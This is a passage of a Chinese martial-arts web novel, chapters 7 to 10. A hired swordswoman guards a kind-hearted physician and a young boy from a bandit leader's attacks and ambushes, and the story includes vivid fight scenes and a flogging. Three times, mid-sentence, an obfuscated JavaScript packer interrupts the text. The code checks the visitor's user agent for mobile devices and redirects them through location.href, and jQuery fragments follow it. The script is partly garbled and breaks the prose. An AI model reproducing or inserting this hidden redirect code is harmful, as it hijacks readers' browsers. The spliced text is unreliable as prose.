“走小路,进城回府。”杜存荀落地,不由分说拉着陆辰竹跑进园子。季庄正在打理方才采摘回来的本草,见杜存荀破门而入,心下一惊。 不等他发问,杜存荀已拽过他的手腕,拉着他从偏门离开。陆辰竹见状,抱住装满蝉蜕的竹篓,小跑着跟了上来。 “季大夫!”身后一声尖锐的叫喊传来,像是长指甲在墙上划过,听得人直起鸡皮疙瘩。 杜存荀猛地把季庄拉到身后,掏出黑羽剑把黑脸嬉皮笑脸射过来的箭挡到一边墙上,“辰竹,你们先走。” 方才那支箭就擦着头顶飞过,陆辰竹被吓得不轻,双脚发软,嘴上应了声,脚下却一时迈不动步子。 杜存荀见陆辰竹不动,正要催他,却见一黑衣人疾步跑过来,抓过陆辰竹左边的胳膊,对着他的左脸就是一巴掌。 “啪!” 杜存荀错愕一瞬,当下踹开那人,将陆辰竹捞回自己身后护着。 就这么一耽搁,其余人追上,将三人团团围住。 陆辰竹脑袋空空,脸上火辣辣地疼,嘴里血腥味弥漫,耳边除了经久不息的尖锐鸣叫,什么都听不见。好不容易回过神来,却发现竹篓早已经被打掉,辛苦搜罗的蝉蜕在面前洒落一地。 包围圈突然拉开一道口子,蝉蜕被一双黑靴踩过,发出咔嚓咔嚓的声音。黑脸气定神闲走进来,闻声抬脚,嫌恶地蹭了蹭地面,“什么玩意儿……” 蝉蜕陷进泥里,陆辰竹抬起头。太阳已经从树林边上升起,日光晃得他有些看不清来人的脸。 “你就是他的武夫?” 这是他挨了耳光后第一句听清的话。 黑脸上下打量面前的女子,眼神很快由轻蔑变得下流,“长得也算有几分姿色……不去卖身子,怎么找了这么一份卖力气的苦差事。” 说着就要上手摸脸,杜存荀一刀划过,黑脸掌心赫然现出一道狰狞的血痕。 黑脸气急败坏,污言秽语张嘴就来,唾沫星子往外喷,“就你这种刁蛮泼妇,敞开了腿都没男人愿意碰……” 话还没说完,杜存荀左手握住他的手腕猛地一拽,黑脸右边胳膊顿时脱臼,连带着半边身子瞬间塌软。陆辰竹呆愣在地,忽见一道寒光自眼前闪过,定睛去看,是杜存荀递来一柄短剑,“你来。” 剑身明晃晃伸到面前,分明没有沾血,血腥味却扑鼻,陆辰竹胃里翻滚,哆嗦着后退一步。杜存荀见他怕事,毫不犹豫将黑脸右手掌扣在墙上,手起刀落,黑羽剑插入血肉,穿过手心,钉进了墙上的砖缝里。 前后不过一刹那,甚至于黑脸都是看到了鲜血自手心汩汩流出,才后知后觉放声哀嚎。 “就你这样的,不用割都能送进宫去。”杜存荀还想往黑脸两腿间踹上断子绝孙的一脚,顾及一旁的陆辰竹还小,抬起的腿愣是绕一圈收了回来。 “愣着干什么?上啊!给我上!”黑脸声嘶力竭,额上青筋暴突,“你们这群窝囊废!给我杀了这王八娘们!” 一声令下,众人如梦初醒,纷纷提刀向前。季庄背贴砖墙大气不敢出,乱刀迎面砍来,好几次擦着眉心刮过,闭眼只听见杜存荀阵阵拳风,睁眼才知有惊无险。 黑脸趁乱欲将短剑自手心拔出来,谁知短剑死死嵌在墙缝中分毫未动,疼痛却一次次直达骨髓。豆大汗珠自额角不断冒出,划过如马脸一般长的脸颊,最终滴落在地,与地上的血迹相融。 陆辰竹手里死死攥着空空如也的竹篓,呆呆看着他挣扎。黑脸怕疼,不敢对自己下狠手,试了几次拔不出,终于留意到身前好似置身事外的出神小孩,恶狠狠盯住他。 “你,帮我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15113908|164133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把剑拔出来。” —— 杜存荀没了黑羽剑护身,只身投入一片刀光剑影中,赤手空拳亦将来人手骨掰断、腿骨踢折,但这样一来,动作就慢了些,等面前倒下一片,黑脸已经脱离了黑羽剑的禁锢。 黑脸颓然坐在地上,脸色发白,双唇无血色,早已没了方才的嚣张神态。杜存荀看着他张嘴撕下一截衣袖,吊着一口气往手掌上一圈圈缠绕,想要堵住手心的血洞,却始终绑不紧。 杜存荀走过去。黑脸见她走近,以为是冲他而来,忙举臂护住脑袋,伤口上刚绕好的布条也随之松散。 杜存荀对黑脸的惊恐视若无睹,越过他走到陆辰竹面前,“把剑给我。” 杜存荀神色冷峻,周身杀伐之气仍未消退,陆辰竹眼神怯怯,把手里血淋淋的黑羽剑递过去。 “你为何要帮他?”杜存荀问。 她用黑羽剑将黑脸钳制住,这才能分出空来应付其他人,陆辰竹却自作主张,搭救黑脸,给她埋隐患。 被杜存荀审视的目光一扫,陆辰竹眼泪霎时充盈眼眶,声音带上哭腔,“恩人对不起……” “他流了好多血......我怕......我怕他死掉......” 陆辰竹沾了血的双手握上来,似在认错,但更像在求情。杜存荀感受到他手心异于平常的冰凉,后知后觉他还只是一个孩子。 什么防备、偷袭,他怎么会懂。别说她的布局,就是黑脸恩将仇报,获救后借黑羽剑抹掉他脖子,他都不明白为什么未曾谋面的黑脸受了他的恩还要杀他。 思及此处,杜存荀按下心头疑虑,缓和语气,朝他露出笑脸,“恩人不怪辰竹。” 陆辰竹抬头,眨巴着一双泪眼看她。 “辰竹不是说什么都不怕吗?”杜存荀帮他揩去眼角的泪,又捏捏他的脸蛋,“难道方才辰竹是在骗我?” “没有骗。”陆辰竹着急辩解。 “那辰竹先回园子帮我把这柄剑洗干净好不好?”杜存荀重新把黑羽剑递回他手里。 “好。”陆辰竹吸一吸鼻子,捧着短剑快步跑回中草园。 支走陆辰竹后,杜存荀转身,又看到季庄在给黑脸包扎伤口。 想想也真是可笑。 小的趁她不备给人拔刀,大的趁她在忙,上赶着给人包扎伤口。两相对比,她反倒成了最坏的人。 黑脸撕下的衣袖早已经被鲜血浸透,季庄将那截布条一圈圈绕开,凑近去看伤口。刀口处皮肉往外翻,露出里面森森白骨和筋膜,边缘血迹已经干涸,但稍一动弹又会有新的一股粘稠血水流出。 事不宜迟,季庄从身上摸出一葫芦形状的药瓶,倒出白色粉末撒在上面,黑脸疼得呲牙咧嘴,一手抓着伤臂的手腕,双腿乱蹬,面容狰狞,硬是没有叫出声来。 季庄又从身上取出一个布包,针线俱备,杜存荀一看便知他准备穿针引线为黑脸缝合伤口。 没完了还。杜存荀袖中飞出一枚刺钉,毫不留情将布包打掉,“季庄,适可而止。” 8. 第 8 章 季庄第一次听见杜存荀直呼他姓名,愣怔在地。黑脸疼得脸上涕泗横流,怕他就此弃他不顾,忙拽住他衣角,“胳膊也断了……” 素白衣角添了一个血手印,季庄无心顾及,问他,“哪一只手?” “还是右边这条胳膊。”黑脸有气无力,只动了动右手指头,“抬不起来。” 杜存荀恐其有诈,手中刺刀蓄势待发,季庄不疑有他,轻轻牵拉黑脸右臂,趁他放松之际,猛地一推,黑脸一声惨叫,关节复位。 无事发生,杜存荀一抖衣袖,刺刀收回。 背对着杜存荀把地上布包捡起来擦干净,季庄将针线包时塞进黑脸手里,随后转身,看向勉强站起的其余黑衣人。 刚要弯腰一一察看伤情,离他最近的一位黑衣人将大刀倒插,撑着刀柄站起来,用尽浑身力气将他推开,“少在这里假惺惺。黑脸没骨头,求你救命,我们可没求。” 季庄踉跄后退两步,身后一只手稳稳撑住他后背。 见杜存荀走近,那黑衣人顿时警觉起来,提刀挡至身前,弓腰,俨然一副进攻的架势。 “你们走吧。”杜存荀神色平静。 没人动。 没人信她。 杜存荀眉头往上一挑,伸手指向墙边的黑脸,“非要落得像他一样的下场,再让大夫给你们包扎才知足?” 有人开始踌躇。 “大夫慈悲心肠,不忍见杀戮,我为大夫所雇佣武夫,一切依大夫之意行事,所以我不杀你们。如今你们负了伤,即使空手回去也好交代,若还有人想伤得更重一些再回去诉苦,大可留下等我取来佩剑给你们放放血。” 说罢,杜存荀一把拽住季庄,转身就走。 园子内,陆辰竹冲洗掉黑羽剑上的血污,哑伯接过,掏出一块巴掌大的四方绢布擦拭剑身和剑柄。正擦着,杜存荀和季庄前后走入园中。 陆辰竹听见脚步声,抬头看来,哑伯却不为所动。杜存荀觉得奇怪,转头问季庄,“哑伯听不见?” 季庄不知她为何突然问起哑伯,只点点头。 杜存荀了然。难怪方才园外打斗如此激烈,哑伯都没出来一探究竟。 “哑伯自小就被抓去打仗,十年前在天州被大炮炸掉了耳朵和半条腿之后,才被遣退回晏州。听不到声音之后,他慢慢地就不再说话了。”季庄解释道。 话音刚落,哑伯擦好黑羽剑,一瘸一拐走来,向杜存荀双手恭敬奉上。 颔首,弓腰,左手捧剑身,右手虚托护手处。细微之处见习惯,久违的军礼叫杜存荀心里一动,尽管知道哑伯听不到,还是动了动嘴唇,“多谢。” 哑伯不知她心中思绪万千,交了剑就去别处忙了。 季庄当杜存荀拿了短剑就要回去找黑衣人,谁知她把短剑收回腰间,就开口招呼他进城回府。 “那园子外的黑衣人......” “我回来不过是叫他们安心离开。”杜存荀满不在乎道,“都是贪生怕死之徒,哪里会为了抓人拼上性命。大夫若是不信,尽管出去看看。” 果然,三人收拾齐整走出来,除了黑脸留下的一滩血迹,院墙外已是空无一人。 回府后,陆辰竹脸上的巴掌印还红得惹眼。 陆辰竹怕母亲见到了会担心,扭捏着不愿回房。季庄将陆辰竹留在自己房中,起身去了冰窖,要取些冰来给他敷脸。 杜存荀本想跟着去取冰,见季庄没等她,径自走了,便只好留下来陪陆辰竹。 “恩人,方才那人是谁啊?”陆辰竹小心翼翼问道。 “坏人。”杜存荀说。 “为何不将他抓去衙门呢?” “时机未到。” “他为何要打我?” 杜存荀不知道要如何跟他说,有些人生来就是恶人,与血一块流着的都是残暴和狠戾。 “……因为他脑子有病。”杜存荀答得言简意赅。 陆辰竹继续求知,眼神天真得很,“这个病能治好吗?山上那些坏人也是因为脑袋生病才干坏事吗?” “可能吧。”杜存荀不想继续和他探讨什么叫脑子有病,“下次再遭人欺负,要记得还手。打不过就跑,不能傻站着给人当靶子。” 她把黑羽剑给陆辰竹,本是想让他亲自废了黑脸的右手。天下哪有白白挨打的道理。 可惜陆辰竹还不够胆识。 杜存荀见陆辰竹一直用手去挠脸上的巴掌印,问他:“脸还疼不疼?” “疼,还有点痒。” 季庄拿着冰进来的时候,脸色已经缓和了许多,不再像方才那样苍白。 陆辰竹脸上瘙痒难耐,忍不住抓了好几下,巴掌印处起了点点血红。季庄放下冰块,察看了陆辰竹头面和脖颈,又撩起衣袖去看他手臂。 陆辰竹全身上下只有那一侧红肿的脸起了疹子,并开始逐渐往耳后蔓延。 房里有一面铜镜,陆辰竹忐忑不安,跑到镜前去看。斑点很快蔓延成团,陆辰竹颤巍巍抬手去摸,发现那一片硬得人心慌。 季庄皱起眉头,伸出三指去摸陆辰竹的脉。杜存荀见他把完了脉,眉头仍旧没有舒展开来,于是问:“难道是那人手上沾了毒?” 陆辰竹一听,嘴角登时耷拉下来,小手紧紧攥住季庄尾指,带着哭腔道:“季大夫,我,我怕……” 中了毒很快就会死掉的,他死了,娘亲就孤零零一个人了。 “我去找他拿解药。”杜存荀起身要走。 季庄抓住她手臂,“不用。寻常虫毒而已,捣些草药敷在患处,再喝一碗汤药,一日便可消退。” 季庄手劲出奇的大,抓得杜存荀心里打鼓。他一脸肃穆,看起来可不像是担心她,反而是担心黑脸的性命。 稍稍使劲挣开,杜存荀点头应允,“既然你能解,那便由你来解。” —— 药铺里人头熙攘,季庄和杜存荀排了许久才挨到桌沿。 杜存荀瞥见季庄递过去的药方上写了附子一药,心中一惊。 附子也叫乌头。淬上乌头毒的箭头,只要沾到皮肉,兵士立死,绝无生还之机。蛮兵善弓箭,常常是兵刃未接,姜国军中不少兵士就因此毒没了性命。 “大夫,这附子……不是有毒吗?”杜存荀按住季庄的手。 抓药的伙计伸手来接过那一纸药方,笑答:“姑娘,这附子虽有剧毒,但若炮制和配伍得好,也是救命的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15113909|164133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宝物......大夫,这次抓多少付?” “先抓一付。” “姑娘大可放心,季大夫用附子用得可好了呢。”伙计边说边在桌上铺好一张大方纸,转身照着药方爬上梯子抓药去了。 “我不会给人下毒。”季庄抽回手。 杜存荀本想说几句缓和气氛,见季庄始终绷着一张脸,只好把话吞回肚子里。 自从遇上黑脸,季庄就一直魂不守舍的,回来的路上连话都不跟她多说一句。明明今早还十分善解人意,安慰她说不苛求她时刻在身边。 杜存荀隐约觉得,季庄在怕她。可是,为什么怕她呢?她明明从黑脸手中救下了他。 可能是怕见血吧。杜存荀暗想。之后还是不要让季庄见血腥了。 两人提着药包走出药房,就看见一个平头老百姓挤过人潮,快步走到季庄面前,一对粗眉往下撇,满面愁容,“季大夫,季大夫,我家孙子忽然头疼得厉害,还请你随我回去看看。” 季庄虽不认得他,但当即就答应下来,叫他快快带路。 接连穿过几条陌生的街巷后,杜存荀见往来的行人渐少,果断站定,喊住前面佝偻的背影,问:“老伯,怎么还没到?” 她起了疑心,语气变得生硬,就连季庄也都被吓了一吓。 “姑娘多包涵,我一个老农,住不起城里的大院,只在城边盖了间茅屋……”老伯脚步慢下来,绞着手,有些难为情。 季庄劝道:“老伯且先带路吧,治病要紧。” 杜存荀仍不罢休,“您住得远,家中孩儿又病得急,为何非要绕如此远的路来找季大夫?季大夫平日诊病忙碌,去无定处,平常百姓都是先去陆府找他,您又如何得知他方才就在药房?” 来药房抓药一事,他们不曾告诉府中奴仆,陆辰竹虽知道他们来抓药,但城中药房不止一家,饶是这老伯真的进府见到了陆辰竹,陆辰竹也说不出季庄到底去了哪一家。 世上哪有这么巧的事。 老伯见她咄咄逼人,诚惶诚恐,应道:“我……我听闻季大夫慈悲,遇贫者不会收取诊病的银两,这才赶来……也是老天爷庇佑,我一来便看到了季大夫……” 杜存荀依旧不信,还要继续逼问,季庄难得皱眉,低声,“杜存荀,够了。” 杜存荀哪里愿意妥协,“他在骗人。” 老伯这下着急了,“姑娘你怎么能说我在骗人呢,我家孙子要是活蹦乱跳的,那我这不是在咒他么……” 季庄没管杜存荀,细声劝慰几句后让老伯继续带路。老伯进退两难,频频回头,杜存荀好一会儿才一声不吭跟上。 走到一处人少的窄巷,老伯说着要先去喊他婆娘开门,便加快了脚步走在前面。谁知他刚一拐弯,七八个身着麻衣、面戴黑巾的人眨眼间就将季庄和杜存荀重重围了起来。 一支箭冷不防自上方射出。 杜存荀本就一路警惕,这时听见空中裂帛音,马上拉着季庄闪身躲过。 射箭的那人没有遮住脸,挺直了腰板站在砖瓦之上,握着弓的右手还缠着被血迹染红的白布条。 又是黑脸。 敢情是才止住血就耐不住性子,报仇来了。 9. 第 9 章 那支冷箭像是号令,杜存荀刚与黑脸对上目光,其余蒙面人便一拥而上。 杜存荀退无可退,本想使轻功带季庄逃走,可巷子本就狭窄,现涌进七八个人,饶是转身都十分艰难,更别说借力跳墙。 杜存荀往后去掏短剑——大不了大开杀戒,只是苦了季庄,一日之内还要再见次血腥。 谁知季庄先她一步站出来,“我跟你们走。” 季庄这番妥协实在叫人意想不到,以至于一蒙面人手里的刀还没来得及止住,眼看着就要朝他脑门上劈过去。 杜存荀反手抽出黑羽剑,一转腕将大刀拦了下来,之后,一剑封喉。 前后不过眨眼间,她已经放倒了一人。 黑脸居高临下,举起右手示意众人后退,“大夫此话当真?” “当真。” 杜存荀谁的话都不听,提剑直指黑脸,“当个屁的真,他去哪我说了算。” “多管闲事。”黑脸脸一沉,更显阴郁,拉弓放箭的动作行云流水,不顾手心血迹蔓延。 杜存荀一双冷眼对着他,毫无惧色,手一挥就将那轻铁铸成的箭在眼前劈成两半。 其余人无暇怔愣,蜂拥而上,杜存荀手腕一抖,袖中甩出一条极细的银质刺鞭,在日光下翻出一道道瘆人的冷白蛇影。 蛇影翻飞,众不敌寡,黑脸当机立断,发出一串尖锐哨声后,跳下墙去不见踪影。 季庄本以为这是黑脸撤退的暗号,心下提着的一口气还没来得及松,就见杜存荀徒手扔了一个不知是死还是活的汉子迎面朝他砸过来。 紧接着是一句不容违抗的命令,“别动。” 季庄蜷倒在地护住脑袋,身上又下冰雹似的接连砸下好几个还在挣扎的人,巨大的重量压得他喘不过气,像是要将他活埋。 季庄刚刚被埋得不见首尾,砖墙上才迟迟现出一排弓箭手,拉弓,放箭,皆是三箭齐发。 顷刻间,箭如雨下,深深扎进皮肉和要害,重重叠叠的活体在箭雨中成了一座尸身肉盾。 放箭的声音很快弱了下来,季庄强忍恶心和恐惧,挣扎着抽出一只手为正对他的尸身合上双目。尸身才瞑目,就被一只手提起,扔在一边。 肉盾开了口,季庄终于能自如呼吸,躺在地上等着杜存荀将他身上的人都搬走,谁知她只给他留了一个气口,还把一个石头模样的东西塞进他手心。 “我去寻个出路,很快回来。有人来你就砸了这石头,我听见声响会马上赶回来。” “你我已经签好了字契,这一个月的期限内,就算你踏进黑风寨自寻死路,我也能将寨子灭了将你绑回来。” “那时你再看看,会死多少人。” 撂下狠话后,杜存荀踩上尸堆,一个翻身,跃过高墙,不见了踪影。 许久,杜存荀仍未回来,季庄费劲爬出了尸堆,沿着窄巷边走边认路,走到岔路口时担心迷路,只好原路返回。 不知不觉,烈日高悬,却下起了雨。雨不大,轻轻洒在身上还消去了几分热,巷道里无处避雨,季庄边淋雨,边一个个去看那尸身的脸。 都是不曾谋面之人。明明他们与他互不相识,却皆因他没了性命。 唉。 雨幕中,杜存荀踩着青石板从一转角处走出,鞋底的血迹被地上水迹化开,很快便淡得看不出。 季庄闻到了雨中明显加重的血腥味,神色紧张,“你受伤了?” “大夫,放眼全晏州,还没有能与我匹敌的人,何来受伤之说。”杜存荀比划了手势,示意他跟上,“就算来者人多势众,也不过是虚张声势的纸老虎罢了。” “那你身上的血……” “方才给咱们带路的老伯死了。”杜存荀说。 季庄如遭雷击,仿佛被钉在原地。 “我去寻出路,他偷偷回来为我带路,被黑脸发现后被抹了脖子。”杜存荀语气淡淡,“大夫,这样你可满意了?” “我……” “黑脸叫人扇了辰竹一巴掌,辰竹脸上就中了你能解的虫毒,咱们一出药房,就有人来为我们带路。任谁想,这都是一个圈套,我不信你看不出来。” 季庄垂眸不语。 “你若一心寻死,自行了断便可,何必要招武夫?” 许久,季庄才慢慢开口,“我只想与顾寨主将误会解开,并非寻死。阿来和关风已经因我枉死,我不想再牵连无辜的人。” 杜存荀挑眉,“误会?是你没有摸手,还是你对寨主夫人并无二心,抑或是夫人对你无私情?” 季庄沉默。 杜存荀看他低眉顺眼一脸心虚也不否认,心生一计,问他行医这几年攒了多少银两。 季庄一头雾水,不知她突然打听他家底是为何。 杜存荀索性摊牌,“既然流言不假,错已铸成,你与顾怜也算是势不两立难以调和。顾怜忌惮你背后有陆行,只敢偷偷摸摸出阴招,而你于陆行而言也并非不可替代,护得紧了费时费财费力不说,万一顾怜狗急跳墙,他不免惹得一身腥……不如就叫我来做这个恶人。” 季庄专心致志,听杜存荀继续说。 “你想办法再筹一百两白银,我替你斩草除根。别说寨主夫人沈清,就是寨主顾怜我也给你绑来,任你摸个够。如何?” 季庄傻眼了。 任他摸个够…… 他从没听过这样的虎狼之词。 杜存荀却不觉得有什么不妥,越说越来劲,“国不可一日无君,寨也不能一日无主,你拿下了顾怜和沈清,不如顺势接手黑风寨,底下人也别干些烧杀抢掠的脏事儿了,全都去帮你种药积点阴德。咱们采药的那座岭又矮又秃,中草园那点地方终究小气……黑山据说是块宝地,钟灵毓秀,你去了,更是地灵人杰,日后指不定自成一派,就叫黑山医派。改邪归正,救死扶伤,你的盛名必将流芳百世……” 杜存荀一口气忽悠完,图穷匕见,“底下弟兄若是不服管教,你就雇我替你教训不听话的刺头。如此一来,你我各取所需,皆大欢喜。” 谁知季庄却无远大志向,一笑置之,“我自知不是成大业之材,只求安稳度日。能练就一技之长解他人病痛,为自己糊口,就已经知足。姑娘有心了。” 杜存荀不死心,“大夫切勿妄自菲薄……” 季庄无奈,“姑娘武艺过人,纵使我有心,也出不起酬金。” “这还不容易,往后富贵人家送你任何谢礼,你全数收下,交给我拿去当了,银子还不是手到擒来。” 季庄眼神顿时沉了下来,坚定摇头,“不可。” “有何不可?” “师父说过,如此一来,送礼成风,贫者更会因拮据而不求医。这有违为医之道。”季庄微微一笑,“姑娘好意我心领。也请姑娘放心,在姑娘拿到酬金之前,我不会再让自己陷入险境。等这一个月过后,我会打点好所有,亲自去找顾寨主澄清误会。” —— 当晚,等府中人熟睡后,杜存荀翻墙去了辛府。 不为别的,为了受罚。 黑脸利用老伯将他们骗进圈套,得逞后老伯过意不去,于是壮着胆子偷偷回了窄巷,给她指路。奈何老伯刚走到巷口,就让黑脸给抹了脖子,她怒极,卸了黑脸右臂,这才染了一身的血腥气。 此事瞒得过季庄,但瞒不过辛成柏。 红木案桌后,辛成柏坐得端正,脸色并不如平日慈祥和蔼,手里的白瓷青花茶盏正往外冒着热气。站在他身侧的何端,手里攥着一条竹鞭。 何端跟她一样,也是辛成柏的一把刀。 杜存荀一声不吭,自觉跪在辛成柏面前。何端绕到她身后,站定。 “你断了黑脸一条手臂。”杯盖刮去浮沫,划过杯沿,发出细微的声响。辛成柏呷一口热茶。 “是他先使诈。”杜存荀辩解。 辛成柏一掀眼皮,何端得他示意,扬起手,杜存荀背后立时结结实实吃了一鞭。 “叫你护着他,没叫你伤人。”辛成柏放下茶盏,“你要做的是防,不是攻。” 杜存荀自然知道这一层道理,但当时她被黑脸气到头脑发昏,这才下了狠手。 见杜存荀倔强不认错,辛成柏闭了闭眼,何端又落下结实一鞭。 到底还是年轻气盛,吃了痛才能懂收敛。 杜存荀挨了第二鞭,依旧不吭声。 辛成柏朝何端使 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15113910|164133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼色,后者无声退出去。何端走后,辛成柏好整以暇拿起手边的书卷,专心看了起来。挨多了鞭子难免伤身,不好恢复,她不认错,他也没有其他法子,只能叫她一直跪着。 约莫过了半个时辰,杜存荀身子动了动,掌心朝地,向前叩头,“杜尧知错,不会再犯。” 辛成柏知道她这句认错并非心甘情愿,但还是放下书卷,扶她起来。 那两鞭子抽下去,他何曾忍心。 “顾怜睚眦必报,你虽是季庄武夫,也要把握好分寸,别给自己惹上麻烦。”辛成柏道。 “看到季庄那榆木脑袋我就来气,要不是为了这份银两,我早就不干了。”杜存荀扯扯嘴角,双手来回揉着发疼的膝盖。 辛成柏朗声一阵笑,“最近怎么钻钱眼儿里了?听何端说你前阵子帮官府抓了好几个通缉犯。” “我想替一个姑娘赎身。”提起这事,杜存荀顿时活了过来,朝辛成柏挤眉弄眼,“我已经攒了一半,要是您借我些银两补上缺漏,我立马就能辞了这差事。” “赎出来了叫我养着?” “那自然是住我宅子里。”杜存荀嘿嘿一笑,“哪能叫您铤而走险,金屋藏娇。” “你赎她做什么?”辛成柏问。何端有一次传回消息,说在云想楼认出了男扮女装的杜存荀。 云想楼是晏州头号青楼。 “我与她志趣相投,不忍见她被买进深宅大院当妾室。”杜存荀解释,“我赎她出来,不过是想还她一个自由身。” 辛成柏稍稍放心,“还差多少银两?” “赎金统共五百两白银,我如今已攒了二百两。” 辛成柏庸碌半辈子都没见过五百两白银,一口气差点喘不上来,“你要赎的这姑娘是云想楼的花魁?” “不是。她在云想楼里抚琴,算是琴师。”杜存荀忍俊不禁,“您有好些年没去云想楼了吧?” 辛成柏瞪她一眼,“你跟你爹一个样,不把钱当钱......这姑娘非赎不可?” “那是自然。”杜存荀见辛成柏像要发作,膝盖也缓了过来,便逃也似的离开,“罢了,伴君如伴虎,您这官当的也不容易,一年到头也就那点俸禄,美人还是我自个儿去赎吧。” 夜已经深了,杜存荀走出辛成柏书房,见相熟的老嬷嬷房里还亮着灯,便敲门进去拜托她给自己后背上药。 “往后你听话些,莫要再惹老爷生气了......”老嬷嬷掀开衣裳,看见两道触目惊心的鞭痕,嘴里不住地劝。 苦口婆心换来的依旧是杜存荀几句不算数的承诺,“好啦,我有分寸的。以后不会了。” “朝廷事多,老爷平日操劳,身子也大不如前了,昨日一早忽然头晕,天旋地转的,差点没能赶上早朝。”老嬷嬷边上药边说,“最近老爷睡得也不好,瘦了很多,走路都要拄拐杖......夫人叫来郎中开了方子,现在后厨还熬着药汤,等熬好了我过去滤掉药渣,你把药给老爷送过去,好好认错,别再叫他替你操心了。” 杜存荀心知嬷嬷在给她台阶,上好药之后规规矩矩把药汤端进辛成柏书房。 辛成柏见杜存荀还没走,稍稍吃惊,“还不回去?” 杜存荀将药碗放到他面前,与他面对面坐下,“三嬷嬷说你生病了。” “老毛病了,不碍事。” 杜存荀捏捏衣角,认错,“黑脸一事,是我冲动。我不该对他动手。往后我会谨言慎行,您好好照顾自己,不必担心我。” 从她端着药汤走进来,辛成柏就预料到这一步。 “荀儿,你父亲当年求我照顾你,就是希望你当一个普通百姓,平安顺遂过完这一生。”辛成柏搁笔。 杜存荀垂头不语。 “你自作主张去当武夫,去和顾怜作对,我不怪你,但身体发肤受之父母,就当是为了你的爹娘,你该避其锋芒。” 他年事已高,许多事情力不从心,以前他能纵容她的一意孤行,就算她顶撞皇帝,几番斡旋之后他也能保她毫发无损,但人会老,算盘会打漏,一旦露出马脚,他再难保她。 “这次顾怜吃了苦头,应该不会再贸然动作。这件事就算过去了,下不为例。” 10. 第 10 章 敷过药后,陆辰术脸上的疹子迅速消散,脸蛋恢复如初。杜存荀看着他那豆腐一样的脸蛋,忍不住上手捏了一把又一把。 陆辰竹怕痒,缩着脖子咯咯笑个不停。 季庄对昨日的血腥场面心有余悸,也怕陆辰竹再次受惊,于是打算将上山采药一事搁置几日,空出时间多诊治几位上门请医的百姓。 季庄在房中整理求医百姓的名姓和住处,陆辰竹好了伤疤忘了疼,趁空掏出木剑,兴致勃勃又要和杜存荀比试。杜存荀后背添了伤,不跟他较真,单手慢悠悠拦下他几次攻击,等季庄收拾妥当出来,便找准时机往前一推,就当结束这场小打小闹。 谁知这么不偏不倚的一推,陆辰竹竟没像初次切磋时那般站得稳当,脚一歪就崴了脚,整个人摔倒在地,手掌被沙砾擦破了皮,大片大片往外渗血。 陆辰竹眼眶一下红了,泪眼汪汪看着她。 要是换作以前,换作手下的兵士,杜存荀免不得责怪两句。任何本领,用进废退,若不是平日练功松懈,他怎会退步,连这点冲击都顶不住,还疼得掉眼泪。 可如今她不在军营,陆辰竹更不是她的兵。 杜存荀看他受伤,一点不心疼,只怕陆辰竹找季庄告状,赶紧扶他起来。 季庄作为这世间最心善的医者,见不得任何人有闪失,她可不想再被他疏远,更不想跟他探讨所谓的善恶分度和为人处世之道。 好在陆辰竹虽然眼里全是泪,却始终没哭出声来,发了狠似的抬手去擦泪,嘴里倔强说着“恩人我没事”。 杜存荀当然知道他没事。不过是摔一跤破了皮崴了脚,又不是什么不治之症,疼一会儿就过去了。 “你别动。我去冰窖取些冰来。”杜存荀起身要走,迎面撞上走出房门的季庄,顿时心里发虚,“大夫。” 出乎意料,季庄目睹这一切,竟不怪她出手没轻重,提了药箱过来就是上药,“辰竹身子不好,挽娘不让他练功,今日这伤,若挽娘问起来,就说是跟我采药时不慎跌下山林吧。” 杜存荀会意,麻利取来冰块,在季庄检查伤势时也没闲着,折了院中树枝按陆辰竹腿脚的尺寸简单做了个木头支架,刚好能在脚踝处固定冰布袋,不必他时时去扶。 季庄讶异她巧手,杜存荀朝他得意扬了扬下巴,“技多不压身。” 陆辰竹这次崴脚没有伤到骨头,但也不好到处走动,季庄扶他到自己房中养伤,打算和杜存荀两人一同出门诊病。 陆辰竹不想一个人待着,攥紧了杜存荀衣角不让她走。季庄看陆辰竹撅嘴耍起了小孩脾气,沉声,“辰竹。松手。” 陆辰竹倔强不依。 杜存荀见他一个小孩孤单坐在房中也怪可怜,便预备出门为他租了一头驴,骑驴代步。 陆辰竹两眼放光,“我还没骑过驴呢!” 杜存荀情不自禁又掐一把陆辰竹水嫩嫩的脸蛋,越过季庄一把抱起他就往外走,“恩人这就带辰竹见见世面。” 骑驴代步在晏州并不少见,走出陆府不远,就看见街角有一牙人牵着几头驴走过。 杜存荀朝那牙人喊一声,牙人回头,认出她后露出一口白牙,“杜姑娘!好久不见。” 看到她怀里的陆辰竹,好奇猜道:“这是你徒弟?” “我雇主的徒弟。”杜存荀示意陆辰竹去挑一头合心意的毛驴,“喜欢哪个?” 